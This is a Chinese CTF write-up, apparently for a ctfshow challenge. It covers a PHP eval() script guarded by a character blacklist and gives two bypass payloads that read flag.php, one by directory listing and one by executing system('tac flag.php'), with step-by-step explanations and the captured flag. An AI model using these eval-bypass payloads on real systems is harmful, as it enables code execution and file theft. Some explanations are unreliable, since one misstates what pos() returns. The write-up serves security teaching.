提示:文章写完后,目录可以自动生成,如何生成可参考右边的资助文档
题目先容:
- <?php
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-09-04 00:12:34
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-09-04 06:03:36
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
复制代码 题目分析:
- if(isset($_GET['c'])){:检查GET请求中是否存在参数c。
- $c = $_GET['c'];:如果存在,将参数c的值赋给变量$c。
- 使用正则表达式检查变量$c中是否不包罗一系列特定的字符。这个正则表达式尝试排除一些可能用于代码注入的特殊字符和一些常见符号。
- eval($c);:如果$c变量中不包罗上述正则表达式界说的任何字符,则使用eval函数实行$c中的PHP代码。这是一个非常危险的利用,因为eval会实行任何传入的PHP代码,这可能包罗恶意代码。
- }else{:如果GET请求中没有参数c,则实行else块中的代码。
- highlight_file(__FILE__);:如果没有参数c,这个函数会高亮显示当前文件的内容。这通常用于调试目的,但在生产环境中使用可能会袒露敏感信息。
- }:结束if-else语句。
payload:
- ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
复制代码 payload解释:
这段代码尝试通过GET请求使用PHP的eval函数实行恶意代码。下面是对这段代码的分析:
- ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
:这是一个GET请求的参数c,其值是一个PHP表达式。
- echo:PHP中的输出函数,用于输出字符串或表达式的结果。
- highlight_file:PHP中的函数,用于高亮显示PHP文件的内容。
- next:PHP中的函数,用于将内部指针向前移动到下一个元素。
- array_reverse:PHP中的函数,用于反转数组元素的次序。
- scandir:PHP中的函数,用于列出目录中的文件和子目录。
- pos:PHP中的函数,返回数组中当前元素的键名。
- localeconv():PHP中的函数,返回当地化的数字和货币格式信息。
具体来说,这段代码的实行流程如下:
- localeconv():获取当地化的数字和货币格式信息。
- pos(localeconv()):获取localeconv()返回数组的键名。
- scandir(pos(localeconv())):列出pos(localeconv())指向的目录中的文件和子目录。
- array_reverse(scandir(pos(localeconv()))):反转这些文件和子目录的次序。
- next(array_reverse(scandir(pos(localeconv())))):将内部指针移动到下一个元素,即下一个文件或子目录。
- highlight_file(next(array_reverse(scandir(pos(localeconv()))))):高亮显示这个文件的内容。
- echo:输出这个高亮显示的内容。
payload2:
- ?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");
复制代码 payload2解释:
- ?c=eval(next(reset(get_defined_vars())));:这是GET请求的一部门,其中c参数的值是一个PHP表达式。
- get_defined_vars():这个函数返回当前全部已界说变量的数组,包罗局部变量和全局变量。
- reset():这个函数将数组内部指针指向第一个元素,并返回该元素的值。
- next():这个函数将数组内部指针向前移动一位,并返回当前指针处的元素值。
- eval():这个函数实行字符串作为PHP代码。
这段代码的目的是尝试实行get_defined_vars()返回的第一个元素的下一个元素的值作为PHP代码。
- &1=;system("tac%20flag.php");:这是GET请求的另一部门,尝试通过URL参数实行系统下令。
- system():这个函数实行一个shell下令,并将完备的输出返回。
- "tac%20flag.php":这里的下令是tac flag.php,tac是反向输出文件内容的Unix下令,%20是URL编码的空格。
这段代码的目的是尝试实行flag.php文件的反向内容。
flag
flag=“ctfshow{96c8b1e3-29aa-4010-8f8f-c2437ccb6502}”
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |